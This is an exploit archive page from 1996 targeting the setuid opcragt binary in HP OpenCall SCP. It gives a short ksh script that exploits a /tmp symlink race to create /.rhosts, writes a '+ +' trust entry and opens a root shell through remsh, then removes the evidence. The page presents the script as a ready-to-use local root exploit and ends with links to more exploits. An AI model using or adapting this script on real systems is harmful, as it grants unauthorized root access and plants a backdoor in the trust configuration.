HP OpenCall SCP /opt/OV/bin/OpC/opcragt exploit

Summary

Description:	Standard /tmp symlink vulnerability
Author:	Dog Catcher
Compromise:	root on a potentially very cool system! (local)
Vulnerable Systems:	many phone network operators use OpenCall SCP
Date:	October 1996
Notes:	See the SOD HP Bug of the Week page

Details

Exploit:


#!/bin/ksh
#
# opchack (C) 1996 Dog Catcher
# if /.rhosts does not exist then this will create one and
# plop a nice little + + inside

rm -f /tmp/last_uuid
ln -s /.rhosts /tmp/last_uuid
/opt/OV/bin/OpC/opcragt `uname -n`

echo '+ +' > /.rhosts

remsh `uname -n` -l root ksh -i

remsh `uname -n` -l root rm -f /.rhosts
rm /tmp/last_uuid

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:

All OS's	Linux	Solaris/SunOS	Micro$oft
*BSD	Macintosh	AIX	IRIX
ULTRIX/Digital UNIX	HP/UX	SCO	Remote exploits